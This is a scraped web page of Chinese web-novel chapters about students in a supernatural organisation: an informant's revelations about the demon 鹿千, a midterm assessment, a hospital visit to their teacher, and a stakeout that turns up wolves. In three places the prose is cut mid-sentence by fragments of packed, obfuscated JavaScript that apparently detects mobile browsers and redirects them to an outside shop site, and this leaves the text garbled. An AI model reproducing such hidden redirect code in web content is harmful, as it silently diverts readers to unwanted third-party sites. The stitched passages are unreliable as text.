叶琳接着说:“我不知道八十年前,由善人格主导的他经历了什么,最终导致了他的死亡。不过那时还处于战争时期,想必不会是什么轻松的经历。” 人格会改变,但是记忆是互通的,近百年前在人类的战争之中,这位拥有着善良之心的妖怪的死亡,无论如何都逃不开人类的原因。多年之后,再次复苏的他由善转变为恶,纯恶的引领下,他又会对人类做出什么事…… “他要,报复人类吗?”黎子鸣犹豫着问了一句。如果复苏的鹿千确实是这个目的,那变样表明,那个硬盘里的东西,足以对人类世界产生巨大的影响。 “我可没这么说过。”叶琳暂时否定了他的话,“你们如何推测他的目的是你们的事,我只是传话罢了。” 到现在,林欣予终于忍不住了,虽然这会暴露自己有其他的情报提供源,但反正现在在场的只有黎子鸣一个人,她更急迫地要解答自己心中的疑惑。 “苏瑾年和那个鹿千是什么关系?”林欣予知道,当时叶琳放下安格森离开,实际上是因为苏瑾年的搭话。 听到这句话,叶琳有些惊讶,她没想到这个小姑娘居然会知道苏瑾年的存在。但还没等她回答,黎子鸣先一步发出了疑问:“苏瑾年又是谁?” 没想到叶琳居然直接越过林欣予,去回答黎子鸣的话:“苏瑾年是我的同族,她也是梦寐。” “至于你问她和鹿千的关系……”叶琳这才转头回答林欣予的问题,“你应该知道梦寐是如何诞生的,用简单的话说,她是诞生于鹿千的梦寐,是侍奉在他左右的、最忠诚的仆人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173474|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这样说来,苏瑾年是站在鹿千那边的,和幕后黑手同流合污的人。林欣予梳理了一遍现有的信息,这样确实能解释,当时在抓捕徐贺时为何苏瑾年会出现。依照叶琳所说,徐贺的所作所为也是受鹿千的指使,想必那支能操纵魑魅的钢笔也是鹿千提供,所以徐贺任务失败后,苏瑾年前去回收钢笔,正好和想夺取钢笔的林欣予撞见。 但是,这些都解释不了现在发生的事情。 于是林欣予如此提问了:“如果按照你说,苏瑾年是鹿千那边的人,那她为什么要让你告诉我们这些信息?” “有意思。”叶琳这下真的惊讶了,“你不仅知道苏瑾年,甚至现在还知道这些事情是她托我转达的……你是怎么做到的?” “告诉我们这些信息,无非是想让我们了解麇到底是什么存在。”林欣予直接无视了叶琳的提问,“他想毁灭世界也好,别有图谋也罢,如果我们不知道你今天说的这些信息,就只能摸石头过河,说不定等他达成目的,我们还不知道在与谁为敌。” 林欣予的逼问愈发犀利:“但现在你把这些信息告诉我们。不,归根结底是苏瑾年告诉我们,如若她是鹿千的同伴,为何要做这种不利于他的事情。” “这我就不知道了。”叶琳冷笑了一下,“我也只是奉命办事,那些大人物的想法,我可不知道。” 说到这,叶琳突然一挥手,把手中的硬盘朝着黎子鸣扔了过去,黎子鸣没想到还有自己的事,手忙脚乱地赶紧接,硬盘在空中打了几个危险的旋转,才被黎子鸣堪堪接入手中,没有落进旁边的江里。 “硬盘还给你们,今后我们永不相见,互不打扰,我也不想再和你们物零社的人接触。”叶琳似有所指地又加了一句,“劝你们赶紧把文件交还物零社,别试图自己打开文件,那家伙做的加密确实只有他自己能打开。至于里面的内容,你们在期末考试时就可以看到。” “等下!”林欣予并不打算就此放过她,“回答我的问题!你分明知道答案!” “呵,我凭什么回答你的问题?”叶琳依旧不打算回答,但似乎从另一方面证明了她确实知道答案,“我和苏瑾年的交易内容里可没有你的位置。” “啧。”林欣予咬咬牙,推了旁边的黎子鸣一把,“你,问她!” 黎子鸣有些莫名其妙,但姑且还是问了:“为什么?” 林欣予之前就看出来了,这人不管什么话都是对着黎子鸣说的,最开始她也是先出现在黎子鸣的面前。她和苏瑾年的交易内容估计就是把这些信息传递给黎子鸣,自己不过是被黎子鸣带着,听到了这些消息。先前回答了自己一些问题,也不过是因为答案的内容她也需要告诉黎子鸣罢了。 正如林欣予预料的一样,当黎子鸣问出“为什么”后,叶琳毫不犹豫地做出了回答。 “或许她是想——” “让你们杀死现在的鹿千。” …… 已经过了下班时间,夏峰收拾好随身的物品,但他并不打算直接回家。他手上拿着徐贺的笔录,要前去一个地方,见一个人。 开车的路程并没有多长,那个人住得离学校很近,只有五分钟的车程,是一个绿化做得很好的别墅小区,他要见的人住在最靠里的别墅里。 夏峰站定在实木门扉面前,按响门铃:“老师,是我。” 没过多久,门就被打开了。开门的是一位老人,他脸上的皱纹如沟壑般交错,花白的头发梳得整整齐齐,身形有些佝偻,但行动间丝毫不显老态,身体仿佛依旧充满力量。如果不是岁月在他的外貌上已然留下了明显的痕迹,或许没人会想这位老人已有近百岁的年龄。 “夏峰啊,进来吧。”老者的声音有些沙哑,但并不含糊,“这么急着找我,是什么事啊?” “是之前的一个案子。”夏峰一边说着,一边把手中的资料递了过去,“审问犯人的时候,对方说了鹿千的名字。” 老者神色一沉,带着夏峰走进茶室,茶室中央的茶桌一旁放着许多相框,都是老者多年来和各种人的合影,见证着他漫长的生命。 “坐下慢慢说吧。” 说是慢慢说,但夏峰实际上也没什么可说的,他只知道徐贺提到了那个名字,至于对方的具体情况,夏峰此时也是一无所知。 长久的沉默后,老者再度开口:“这事我知道了,你先回去吧,你还得去接孩子放学不是吗?” 确实如此,夏峰有些匆忙地向老者告别,只留下了那些资料,赶紧开车离开了。 从窗户看着夏峰的车渐渐远行,老者才长叹了一口气,看着那叠资料,看着资料上被圈起的那个名字,微不可见地皱了皱眉头,眼里流露出了浓厚的悲伤。 他拿起摆在桌上最显眼的地方的一个相框,里面是一张三人合照的黑白照片,看上去也经历过相当长的一段时间,相片的周围早已发黄,中间也有许多肉眼可见的裂痕。 相片最左边的是他,那时的自己不过十六七,还是个朝气蓬勃的少年。 相片的右边是个看着二十多岁的女人,留着黑色的及腰长发,穿着一身旗袍,轻轻地扶着身旁人的肩膀。 相片的中间,坐着一个男人,只穿着简单的白衬衫和黑色西裤,如果不是老旧照片残破的状态,他这身装束甚至会让人以为是在现代。 虽然是三人的照片,但实际上,左右两人都不过是围绕在中间那个男人的两侧罢了。 老者用苍白的手抚上相框,搁这玻璃一一摸过三个人的脸,最终停留在了中间那个男人的脸庞。 “千、千……” “如果你回来了,为什么不来看看我呢?” 30.测评 五一小长假的开启,标志着学生们这学期正式进入期中阶段。不过物零社并不是什么普通的大学教学专业,自然也采用了完全不同的期中测评模式。 四月底,物零社发布了关于本次期中测评的测评方式和评分标准,拉出一段极长的时间线,测评要一直持续到六月中旬,接近期末考试的时间,并且要求所有学生在五一的小长假内做好所有准备,小长假结束后的第一个工作日,测评立马开始。这种另类占用休息时间的行为,放在职场上要给三倍工资,但这群大学生们显然得不到任何补偿,只能抱团在小群里唾骂校领导。 期中测评的方式简单粗暴,需要所有学生自行组成3-5人的小组,选择一位指导老师,参与到物零社的各个实践任务之中,指导老师会根据学生们在实践任务中的表现进行打分和评级,并且在必要时刻保障学生的安全。只有期中测评的成绩达标,学生们才能获得相应的学分,成绩优异者则能获得更高的绩点,在奖学金的评选中发挥大作用。 简单来说,就是以学分和绩点为要挟,获取一群十分好用的廉价劳动力……不,应该说是免费劳动力。 这份文件在黎子鸣和林欣予折腾绑架事件的时候悄然发布,等他们注意到的时候,五一已经过去了一半——还是苏佑容来找他们组队,他们才知道的。 对了,关于绑架事件的后续,叶琳在那晚和两人对话过后就彻底消失,物零社用了各种方法追查,都没有查到对方的任何踪迹。这也正常,如果当时不是因为林睿雅阴差阳错地给了安格森一个带定位的u盘,以叶琳身为梦寐的能力,物零社根本找不到两人的所在之处。而黎子鸣后续把硬盘毫发无损地交还给物零社,技术人员在检查后,并未发现加密松动的痕迹,所以也不会再对安格森追责。到最终,这件事也这样不了了之。 说回期中评测,现在三人有一个好消息和一个坏消息。好消息是,虽然其他同学的队伍都满人了,但苏佑容还没有加入任何一个队伍,加上黎子鸣和林欣予两人,堪堪能达到组队人数的最低要求。 坏消息是,能用的指导教师都被挑完了。 “要我说,学校这次的分组就不合理!”苏佑容指着手机上列出来的学生小组和他们已经选定的指导教师名单,“他们是以每组都是5人满员为标准分配的教师人数,但实际上没有一个组是5个人,他们都是4人一组,结果现在刚好多出来我们3人,教师就少了1人。” 林欣予在心里默默计算了一下两边的人数,好像确实如此:“要不还是问问老师吧。” “去哪问啊,他们都在放假,根本找不见人,也不回消息。”苏佑容有点抓狂了,“昨天我打电话还被挂了!” “真是自己放假、折腾学生啊……”黎子鸣的这句话引发连连赞同。 三个人又在一起琢磨了半天,到底没琢磨出来什么结果,直到苏佑容对着林欣予问了一句:“你姐姐呢?我在名单上没看见她名字,她还没被选吧,要不去问问她能不能当我们的指导老师。” 这话在林欣予听来有些莫名其妙,“她不是老师啊,她还在读博呢。” “啊?”对面两个男生双双惊讶,苏佑容发出质疑:“她还没毕业,就接手那么多的正式工作?” “能者多劳呗,还有工资拿。”林欣予说,“毕业以后她肯定会留在物零社,所以组织这边早就把她看做实打实的自己人了。” 这句话多少有点挖苦苏佑容的意思,他是大世家苏家的大少爷,毕业后势必回到家族发展,所以许多事情物零社都不想让他接触。比如之前的事件,在α文件被盗之后,苏佑容就再没参与进这一系列事件中去。 说到底,这次小组评测,黎子鸣和林欣予是因为在出任务,所以没有及时组队。但苏佑容明明一直在校却没有组好队伍,估计也和他的这层身份有些关系。 “那你能不能打电话问问她,她那能不能联系到其他老师。”苏佑容说,“按照要求,没有指导老师的担保,我们是接不了实践任务的。” 林欣予其实不太愿意联系林睿雅,因为她知道这些日子林睿雅忙得焦头烂额,好不容易的小长假也因为一些原因全泡汤了,但眼下的情况,似乎只能先联系她。 林睿雅虽然忙,但电话却接得很及时:“没有指导老师了?不应该啊,制定评测内容的时候我们计算过学生和老师的数量,肯定是够的。” “我看了苏佑容这边统计的名单。”林欣予说,“确实是少了一位指导老师。” “……我好像知道是怎么回事了。”林睿雅突然感觉到了一阵头疼,她无奈地伸手扶了扶额头,“你们来人民医院一趟吧。” …… “我昨天下午才醒,今天一大早你告诉我有工作要做?”安格森看着林睿雅给他发来的评测文件,话语里全是对无良公司的控诉,“你们物零社缺人的话,能不能多招点人,别老逮着几个员工霍霍。” 安格森所在的病房看上去颇为高级,位于人民医院住院部的高层,是个单人房间,房间里除了床和一些医疗设备以外,甚至摆着一圈供探访人休息的沙发和放水果的茶几。他看上去状态还是不太好,脸色还是一片雪白。毕竟身体流失了过多的血液,能在这么短的时间内苏醒,已经算是奇迹了。 林睿雅叹气:“我也想多要点人,但你也知道,现在干我们这行的人本来就少。” “这次期中评测一开始的规划就不对吧。”安格森开始对着文件里的内容咬文嚼字,“要求每组必须有一个指导老师,根本目的是为了在任务中保障学生安全。而我就算没有受伤,也是不能上前线的文职,为什么要把我算进去?” 虽然林睿雅不想承认,但这确实是他们当时的疏忽,但这种通知文件一经发布就很难撤回修改,事到如此只能将错就错。 “虽然是有保护学生的目的,但是……” 林睿雅看着眼前站着的三个学生,把三人上下打量了一番,着重对着黎子鸣看了很多遍。 “他们好像也不是很需要你保护。” “……”这句话着实是无法反驳,“那需要指导老师在场的打分和评级呢?我现在这个样子,肯定是没办法跟他们去现场的。”他指了指自己胸前的纱布。 林睿雅又用相同的动作把三个人打量了一遍:“他们三个人,一个是实战课第一,一个是理论课和附魔课第一,一个是三门课一直在前三没下来过。” 她转头认真地对安格森说:“就算三人在没有指导老师监督的情况下取得优异的评测成绩,也没人会怀疑吧。” “以你的身份说这种话真的没问题吗……” 说白了,林睿雅这意思就是,给三人走个后门,让安格森随便打打分就行,还得保证是高分。 也是,抛开三人本来就是一等一的优等生,几人一个是千年难得一遇的灵力奇才,一个是给过物零社很多资金支持的大家族长子,一个是组织高管的亲戚……确实很有走后门的实力。 话已至此,这活儿安格森似乎不得不接。但对他而言好像也没什么损失,毕竟现在相当于他不用操心这三人的具体评测过程,让他们自己去折腾就行。 他还是松了口:“那还需要我干什么吗?” 听到这句话,三个学生都表现出了不同程度的喜出望外,其中最积极的居然是苏佑容,估计是因为他父亲着实非常关注他的学业成绩。只见他飞速拿出已经填写好所有信息的申请表和签字笔,递到了安格森面前:“老师,您在这签个字就行!” 安格森结果表格和笔,大概扫了一眼,没看到什么坑人的内容,于是很干脆地在指导老师署名处写下了自己的名字。 “谢谢老师!”苏佑容看到那个落在纸张上的签名,几乎要尖叫欢呼起来。不同于刚刚得知这件事的黎子鸣和林欣予,他可是实打实地为此事烦恼焦虑了两三天,“老师你有没有什么想吃的?啊,我是不是应该买点什么补品,人参当归什么的有没有用啊,或者我托人去西藏整点冬虫夏草……” “……心意到了就行了,不用整那些东西。” 趁着苏佑容开始和安格森聊东聊西,黎子鸣终于有空问问坐在病床旁边的林睿雅:“睿雅姐,你这几天是一直在照顾安老师吗?” “没有,我就是今天刚好有空,过来看看情况。”林睿雅摆摆手,毕竟安格森这次受伤算是工伤,物零社这边脱不了责任,她作为事件的第一负责人,有必要提供一些关切。 林欣予此时也插入了谈话:“那这些时间是谁在照顾他,不会都是护工吧?如果有需要的话,我在空闲时间可以……” 我在空闲时间可以多来医院看看。林欣予本想这么说,毕竟安格森是被秦竹一所伤,而下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182618|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命令的是自己,虽然只是误伤,但自己多少要付一部分责任。之前几天因为忙其他事情没顾得上来医院,但之后的时间里,林欣予还是想尽可能的多补偿一些。 但林睿雅否定了林欣予的猜想:“别担心,他有人照顾的。” “谁?”林欣予和黎子鸣异口同声地问。 “她女朋友啊。”林睿雅指指放在床头柜上的一个皮包,一看就是女款包包的样式,“都已经陪护好几天了。” “有人照顾就好……欸,你说什么?” 震惊的语句完全不受音量的控制,彻底盖住了一旁正欢呼雀跃的苏佑容的声音。 黎子鸣和林欣予一前一后地凑到了安格森面前:“安老师,你已经有女朋友了啊。” 说来也是,以安格森的条件,高学历+不错的经济收入+十分优越的外貌,没有女朋友才是小概率的事件。 “对啊。”安格森回应黎子鸣的话,“说起来,你好像是还没见过她。” 真是说曹操曹操到,几人刚聊到这个话题,一个陌生的面孔就从门口走了进来,手里还领着一个果篮。 “他们是你的朋友吗?” 闻言,安格森从围着他的众人之间的缝隙里向外看去,然后伸手招呼她过来:“介绍一下,他们都是我的学生。” 他又对着几位学生说:“她就是我女朋友。” 这位女朋友丝毫不社恐,大大方方地和众人打招呼,还从手里的果篮拿苹果出来分给黎子鸣他们吃:“大家好,初次见面,叫我小景就行了。” 小景看上去和安格森差不多大,不到三十的年纪,穿着一身素雅的白色,举手投足间都十分有气质,说话也很温柔。比较割裂的是,她把头发染成了白金色,还烫了一个大波浪,看上去像是下一秒就能上台唱摇滚的样子。 但不管怎么说,都能称得上是个美女,她站在安格森旁边,就突出“郎才女貌”四个字。 而且,在小景进来之后,现场的气氛一下子变得暧昧起来。她很自然地走到安格森身边,坐在一旁陪护的椅子上开始剥橘子,一边剥一边问他这些学生们的来意,而安格森也很有耐心地一句一句和她解释。 直白的说就是,现场这个氛围让黎子鸣三人感觉自己就像三个大灯泡,正在发着比太阳还灼眼的光。一旁的林睿雅倒像是已经习惯这个场景了,不过她好像突然想到了什么,找了个拙劣的借口暂时离开了病房,像是在逃避什么一样。 她逃避的东西也马上呈现了出来。 结束与安格森嘘寒问暖后的小景,突然把话锋转向了三个大学生:“说起来,我和安格森也是在大学校园里认识的。” 又要来了……靠坐在病床上无法移动的安格森只能无奈的扶着额头。 “那时候的我们也和你们差不多大呢,我俩是计算机系的同班同学,他那会儿还挺笨的,刚开始接触计算机的时候什么都不懂,多亏了我一步一步教他,没想到他现在的技术比我还要厉害了!” “他最开始还有点书呆子呢,后面有次我带他去夜场酒吧蹦迪,他还有点被吓到了……” “我们刚到申海的时候,去吃了家好贵的餐厅,但那家餐厅的菜又少又难吃,我俩一致认为那是这辈子花得最亏的钱……” “啊对了,你上次这样躺在医院还是小时候的事吧……” 然而,她这句话还没说完,就被安格森打断了:“等等,小景,这个事就别说了。” “啊!”小景好像这会儿才意识到自己说漏了嘴,不动声色地转移了话题:“那我说说去年圣诞节的时候,我们去了迪士尼……” 小景就这样,滔滔不绝地说了将近半小时,全是一些小情侣间会做的非常普通且正常的事——简单来说,非常无聊,非常浪费时间! 半小时后,林欣予和苏佑容几乎在同时爆发了,两人慌忙拉着似乎还挺津津有味的黎子鸣,一边说着“不好意思,我们还要写论文”,一边从病房里落荒而逃,并且在医院大厅碰到了坐着刷手机的林睿雅。 惯犯,绝对是惯犯! “姐,我们先走了!”慌忙离开时,林欣予没忘了给林睿雅通知一句。 “慢走。”说实话,林睿雅觉得他们仨能坚持半小时已经超出预料了,“好好准备期中评测吧。” “祝你们顺利地拿到好成绩。” 31.分歧 申海的北边郊区,是一片全城最大的私家墓地,位于片寂静的山丘上,四周被郁郁葱葱的树木环绕。中间的空地上,整齐有序的排列着许多大理石打造的墓碑,看上去造价不菲的样子。根据墓地管理员的信息,这块墓地的售价很高,能安葬在这里的人都有着非富即贵的家庭。 “怪事持续一周了。”墓地管理员带着物零社来的几个人,打着手电筒穿梭在各个墓碑中间,“连续好几个来祭扫的人都说,看到了黑影,我怕是之前的那种怪物,就赶紧联系你们了……喏,大概就在这块。” “还有怪异的叫声,不知道什么东西摩擦的声音,很多家属摆放的贡品莫名消失,有时候地上还会有血迹……” 管理员把三人带到一块稍微空旷的地方,递给领头的一个新手电筒,心有余悸地又环顾了一下周围:“几位大师,就交给你们了,我、我先回屋子,我不打扰你们。” 说完,这人就小跑着离开了。 苏佑容颠颠手里的手电筒,按开开关,一束明亮的光线立马刺破黑暗,把一小块地方照得透亮,那地方好巧不巧正好是某位仁兄的碑,在这样的环境里难免有些让人发怵。 “听那个人的描述,真的是魑魅吗?”黎子鸣的视线跟着手电筒的光走,“难不成那几个看到黑影的人都有潜藏的灵力?” “可能性很小。”林欣予说,“我估计是流浪狗之类的东西。” 苏佑容明显持有同样的看法,他十分悠闲地拿着手电筒乱扫,光束在黑夜中胡乱四射。但没过多久,他就把手电筒关掉了,今晚天上云不多,有一轮明亮的圆月,提供了不错的照明。至于手电筒这种物资,最好还是保留电力,留给更关键的时刻。 “这座墓园之前出现过一次魑魅,杀了一个半夜偷祭品的流浪汉,被那个工作人员撞见,他差点也被杀。所以他现在不敢赌其他可能性了吧,一有动静就马上联系了物零社,反正这大富大贵的墓园也不缺这点钱。” 花钱请物零社的人过来,墓园的人放心,物零社拿钱开心,学生们可以轻松拿到学分,分明是三赢的局面。 三人看了眼手机上的时间,现在刚过夜里12点,运气好的话他们马上就可以下班,运气不好的话,估计得熬到明天天亮。 但好在,今天他们的运气不错。蹲守了不到十分钟,墓地旁边的小灌木丛里就传来了窸窸窣窣的声音,像是两个物体正在摩擦。 “来了。” 作为三人小队里面绝对的武力担当,黎子鸣的反应是最快的,在这诡异的声音传来的下一刻就已经将手按在了身后包里的剑柄上,提防着四面八方的空旷之地。摩擦的声音越来越近,像是专门为了衬托这紧张诡异的气氛一样,夜空上的阴云恰到好处地浓密起来,彻底遮住了明亮的圆月,周围的视野一下子变得漆黑一片。不用别人的提醒,苏佑容迅速打开了准备好的手电筒,朝着声音的来源处猛然扫去! 然而,大家想象中的场景并没有出现……或是说,出现了一些也在大家想象之内的画面—— 三四只成群结队的灰黑色大狗,从灌木丛中猛地窜出来,瞄准白天刚被祭扫过的一个墓碑前的贡品,开始大快朵颐。 紧绷的情绪一下子放松下来,黎子鸣顿时间感觉身体一阵发麻:“没搞错吧,真是流浪狗啊……” “最开始听那个管理员描述的时候,就猜到会这样了。”林欣予拿出手机,就着手电筒的灯光,朝着狗群的方向拍几张照片照片,这就算存证。不过这群狗越看越觉得,不太对劲。 苏佑容也这么觉得,几人站在远处端详半天,苏佑容踌躇着开口:“这不会是狼吧?” 黎子鸣符合道:“看着是挺像的……” 林欣予有些惊讶:“申海居然会有狼吗,我以为那是村里才能看见的。” 苏佑容环顾四周,映入眼帘的皆是荒郊野岭:“不过申海郊区看着和村里也没什么差别。” “嗯……现在是不是不属于我们的业务范畴了?下一步干什么,联系动保局吗?” “管他呢,让这里的工作人员自己处理吧。” 今晚的工作结束的飞快,居然一时间让人有些难以适应。期中测评开始已经快两个月,期间三人接了十多个任务,其中不少任务都花费了一夜甚至几夜的时间,大部分时候是在枯燥无味地蹲守,而其结果是两个月以来,三人愣是一只魑魅都没见到。 物零社的日常任务里,大部分都是疑似魑魅的报告。精妙就精妙在“疑似”二字上,魑魅的数量并没有到泛滥的程度,但一旦出现,对普通人的威胁往往是致命的,所以这些疑似的报告也必须有人去排查,这个任务日常自然也就落到了初出茅庐的大学生身上。 这三个人组成的小组,十多个任务没有一次遇到魑魅,也不知道是幸运还是不幸。要说幸运,其他遇到魑魅的小组,即使在指导老师的保护下,也多少出现了不同程度的受伤;要说不幸,这三人是这一届唯一一组有魑魅应对经验的小组,也是唯一一组能强到误伤应对魑魅的小组……但偏偏,就他们组什么都没有遇到。 苏佑容一边翻着任务记录,一边在心里默默计算:“我担心评分,其他遇到过魑魅的组,一次任务的评分顶我们五次,任务数量本来就紧张,再这么下去我们拿不到小组第一的。” “别太卷了。”林欣予打断他,“我们的分数已经足够评级到优,我已经不打算继续接任务了。” 闻言,苏佑容一下子面色大变:“你说什么?都在一个团队里,你能不能考虑下团队利益,一个团队的活儿你能说不干就不干吗!?” “哈,团队利益?评测不是已经合格并且成绩不错了吗,是你非要往上卷,你有考虑过其他人的想法吗?”林欣予也丝毫没退,“那么想争第一,无非是为了给苏家交差,那就自己去争,别拉着其他人。” “停!停停停!” 眼见着气氛越来越不妙,黎子鸣很有经验地拦在了二人中间:“别吵、别吵,有话好好说。” 然而这似乎并没有什么作用,反倒是把自己送了进去。只见苏佑容一拍大腿,拉住挡在二人之间的黎子鸣:“投票,刚好我们三个人,你想继续还是想休息,少数服从多数!”说完这句话,他就开始朝着黎子鸣挤眉弄眼。 黎子鸣此刻是进退维谷、左右为难,虽然苏佑容的挤眉弄眼很抽象,但那意思分明是让黎子鸣站他这边。再转头看林欣予,只是沉着个脸看着有些不开心,不知道到底在想什么,反而更让人害怕。 僵持半晌过后,估计是看黎子鸣夹在二人之间着实难堪,林欣予率先松口了:“你想卷,那你就继续接任务,只是我奉陪不了。” 她拿出已经订好的机票给苏佑容看:“我下周有事要出国,只能保证在期末考试前回来,剩下的期中测评时间肯定赶不上。” “我知道你在想什么,你觉得我不出力还想白嫖分数。”林欣予耸耸肩,这倒也是正常的事,大学小组作业里经常能遇到这种人,“我明天会去老师那说明情况的,剩下的任务我不参加,分数我也不拿,至于黎子鸣要不要和你一起卷,那就是你俩的事。” “你……”对面的态度缓和下来,苏佑容也不好再发脾气,他盯着机票看了一会儿,问道:“你去纽约干什么?” “处理一点私事,这也要跟你报备?” “我没那个意思。”苏佑容其实很想来一句“你怎么不早说”,但想想这样说可能又会让两人吵起来,于是把话又咽回了肚子里。 林欣予看了眼时间,朝着两人摆了摆手:“我叫的车到了,先走了。”话罢,她毫不犹豫地走远了。 看着林欣予走远的背影,最先松口气的居然是黎子鸣,只要这俩凑到一起,总是有无数可能会吵起来的地方,他已经尽量在二人之间当润滑剂了,但目前看来效果似乎真的不怎么好。 “她是不是对我有意见?”苏佑容指着林欣予离开的方向,一脸无辜地看着黎子鸣:“她对其他人不是这样的。” 黎子鸣有些无奈地安慰道:“你也知道她不是对你有意见,更多的是对苏家有意见,或是说平等地对每个大家族有意见。” “她还对苏家有意见,我都没因为她姓林而对她有意见!” 这话多少有些傲慢,就像是古代皇族和一个平民当了朋友,平民因为你是皇族而对你多少有些隔阂,你说我身为皇族和一介平民当朋友是你的荣幸一样。但黎子鸣现在哪敢吭声,只能应和着先把这边安抚好。 另一边,林欣予走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是这个道理没错,”林欣予说,“但这不一样!我和他之间是有交易的,我为他的能力提供附魔器,换他在我需要的时候为我提供帮助。” “但实际上,即使你不给他这些报酬,他也同样会帮你,不是吗?”秦竹一回复道。 “我就是讨厌他这点。”林欣予有些泄气了,软趴趴地靠在椅背上,“他不该是这样的,他有那么强的能力,理应有自己的追求,而不应该仅仅是变成谁的工具。” 秦竹一终究还是没忍住,嗤笑了一小声:“小姐,你自己说这句话,自己不觉得很无理取闹吗。” 轿车已然从郊区驶入了失去,周围不再是漆黑一片,昏黄的路灯照亮了街边的景色,其他车辆也渐渐多了起来。直到一个十字路口,出现了红绿灯,眼见绿灯的时间快到了,估计他们的车赶不上这波绿灯。 “最把他当工具的,不就是你自己吗?” 这句话就像是眼前正在闪烁的黄灯,明亮的黄色一闪、一闪,如同这句话里的词句一下一下捶在林欣予的心上,然后彻底变成了红色,把飞速行驶的车辆遏制在白线之后。 林欣予的心态好像也在此刻变了,或是因为前面已经发泄过一波的原因,她此刻似乎冷静了不少,但似乎冷静向了另一个方向。 “对,你说得没错,最把他当工具的是我自己。”淡淡的红色灯光照在林欣予脸上,照出她现在冷若冰霜的表情—— “我就是讨厌,他不能成为只有我能用的工具。” “就像我一样?”秦竹一在旁边挑了挑眉。 林欣予瞥了他一眼,又移开目光:“对,就像你一样。” 秦竹一说的一点都没错,林欣予也不是什么虚伪的人,这种事情没什么不好承认的。说到底,当初与黎子鸣定下那笔交易,无非是为了让他能为自己所用,但没想到这人是个老好人,不懂得拒绝也没自己的情绪,谁都能使唤上。 虽然最后“为自己所用”的结果没什么变化,但这其中各种终归让人不舒服。 面前的红灯时间不长,没过一会儿就变回了绿色,两人的对话也在此刻接近尾声了,车里重新回归沉静。 于是轿车平稳地驶出,在夜色中渐行渐远,直至消失在尽头。 32.新任务 六月中旬,为期一个半月的期中测评终于走到尾声,安格森也在这时正式出院了。 虽然前一阵子因为受伤在医院躺了很久,但安格森一直没正儿八经闲下来,物零社这阵子确实缺人,尤其是高端的技术人才。期末考试需要用到之前开发的沉浸式模拟训练系统,如果他没有出事,这段时间本该在学校推进系统完善工作,但如今只能在医院干这件事。他也不是没有推脱过,然而之前负责技术研发的人员被调到了其他城市,其他负责人员大部分都是要参加本次考试的学生,自然不能让他们接触考试内容,所以这项工作避无可避地落在了他身上。 不得不说,如果不是因为工作耽误了他休息,或许他能再早两周出院。不过好消息是,黎子鸣他们的期中测评一直很顺利,并且没让他操过任何心。基本就是几人拿着接好的任务单,跑医院找他签个字,任务做完了再找他签个字。现在拟真系统已经维护稳定,期中测评也即将结束,自己终于可以在家好好休息几天…… 直到周六早上八点,还在睡梦中的安格森被一通电话吵醒了。 “喂,老师,我是苏佑容,我们想找你签个任务单。” “不是,你知道今天周几吗……话说你们现在的分数已经足够拿第一了,怎么还接任务?” “周六啊。”对面先回答了第一个问题,随后大言不惭道,“哎呀,我们也不想周末这个点麻烦你,但是下周一期中测评就要结算总分了,我们只用两天时间做这个任务很紧张的。现在第一是第一,但和第二还没拉开差距啊。” 苏佑容这个人像是把情商都分给了智商一样,这句话说着多少让人火大,换成其他有脾气的老师说不定就不签这个字了,但安格森毕竟还是好说话的那一类,所以只是叹着气答应了这件事:“那你等会,我一会去学校。” “不用,这哪能麻烦老师自己跑啊。”没想到苏佑容居然来了这样一句话,他话音未落,安格森的门铃就响了起来。 “我们在你家门口呢。” …… 这最后的任务确实来之不易。由于下周一期中测评正式结束,所以物零社已经关闭了接任务的通道,苏佑容拿着各种礼品跑去求行政老师,才终于薅出来这个之前没人接的任务。不得不说,有人想卷,卷的方式那可是多种多样。 任务其实也很简单,地点是一个位于城南的废弃烂尾楼小区,有附近的环卫工说在晚上总是听到那里传来窸窸窣窣的声音,并且他还好几次看见有人进去却没人出来。那附近没有监控,所以环卫工的话也没有证据支撑,按照以往的经验看,多半又是一些没有魑魅的乌龙。 那为什么这个任务一直没人接?主要因为人的原因。那片烂尾楼的区域,一直都是各种小混混的聚集地,再加上那片烂尾楼由于烂尾时间太长,大部分区域已经被一些流浪汉占领了,虽然太过违法乱纪的事情他们不敢做,但去这些人的聚集地办事总会承担更大的风险。毕竟比起魑魅,现代社会的人明显更加可怕。 考虑到这些因素,这个任务就一直被搁置,没人愿意接手——直到苏佑容这个卷王来了。 他拽着黎子鸣,今天一大早跑去拿任务单,然后问人脉要了安格森的住址,又拽着黎子鸣马不停蹄地冲到安格森的家门口。 很明显,安格森老师也不喜欢在周末早上被打扰,一脸不爽地给他们打开门,都没准备让人彻底进来,把两人堵在门口,让他们赶紧把要签字的任务单拿出来。 意料之中的事,没事,苏佑容脸皮厚,黎子鸣不在乎这些,所以对这两人来说,安格森的态度没有任何的影响。 